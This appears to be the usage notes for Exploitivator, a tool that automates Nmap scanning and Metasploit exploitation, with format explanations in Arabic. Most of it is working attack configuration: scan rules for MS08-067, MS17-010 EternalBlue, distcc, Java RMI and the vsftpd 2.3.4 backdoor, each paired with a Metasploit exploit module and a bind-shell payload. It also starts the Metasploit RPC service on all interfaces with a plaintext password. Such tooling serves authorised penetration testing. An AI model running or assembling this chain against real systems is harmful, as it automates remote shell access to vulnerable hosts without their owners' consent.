apt-get install postgresql libpq-dev git-core

gem install pg 

pip3 install pymetasploit3

load msgrpc Pass=abc123 ServerHost=0.0.0.0 ServerPort=55552

./exploitivator.py -l 10.128.108.178 -f hosts.txt -u msf -m abc123

./msf_scan.py filename 
./msf_scan.py filename MSF_DB_Username MSF_DB_Password

./msf_scan.py hosts.txt msf abc123

./msf_scan.py hosts.txt

auxiliary/scanner/dcerpc/endpoint_mapper
auxiliary/scanner/smb/smb_version
auxiliary/scanner/x11/open_x11
auxiliary/scanner/discovery/ipv6_multicast_ping
auxiliary/scanner/discovery/ipv6_neighbor
auxiliary/scanner/smb/smb_login

[تسمية]##[معلمات سطر أوامر Nmap]##[معلمات سطر أوامر Nmap لإخراج الملف]##[اختياري - أمر grep لاستخدامه إذا تم استخدام إخراج Nmap القابل للبحث]

1) القسم الأول هو تسمية تربط المسح بالاستغلال
2) القسم الثاني هو جزء من سطر أوامر Nmap الذي يحدد تفاصيل نوع المسح المطلوب تشغيله، مثل المنفذ والسكريبت
3) القسم الثالث هو جزء من سطر أوامر Nmap الذي يحدد ملف إخراج Nmap (يتعامل Exploitivator مع إخراج XML أو القابل للبحث)
4) القسم الرابع الاختياري هو أمر grep الذي ترغب في استخدامه لتحديد هدف ضعيف داخل ملف '.gnmap'

SMB_08-067##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms08-067.nse##-oX ms_08_067.xml
SMB_09-050##-p U:137,U:139,T:139,T:445 --script smb-vuln-cve2009-3103.nse##-oX ms_09_050.xml
SMB_10-054##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms10-054.nse##-oX ms_10_054.xml
SMB_10-061##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms10-061.nse##-oX ms_10_061.xml
SMB_17-010##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms17-010##-oX ms_17_010.xml
DistCC##-p 3632 -sSV##-oG distcc.gnmap##grep "3632\/open\/tcp\/\/distccd"
JavaRMI##-p 1099 -sSV##-oG javarmi.gnmap##grep "1099\/open\/tcp\/\/rmi
VSFTPBackDoor##-p 21 -sSV##-oG vsftp_backdoor.gnmap##grep "vsftpd 2.3.4"

[تسمية]##[مسار استغلال Metasploit]##[اختياري - تفاصيل حمولة Metasploit]

SMB_08-067##exploit/windows/smb/ms08_067_netapi##windows/meterpreter/bind_tcp
SMB_09-050##exploit/windows/smb/ms09_050_smb2_negotiate_func_index##windows/meterpreter/bind_tcp
SMB_10-061##exploit/windows/smb/ms10_061_spoolss##windows/meterpreter/bind_tcp
SMB_17-010##exploit/windows/smb/ms17_010_eternalblue##windows/meterpreter/bind_tcp
DistCC##exploit/unix/misc/distcc_exec##cmd/unix/bind_ruby
JavaRMI##exploit/multi/misc/java_rmi_server##php/meterpreter/bind_tcp
VSFTPBackDoor##exploit/unix/ftp/vsftpd_234_backdoor##none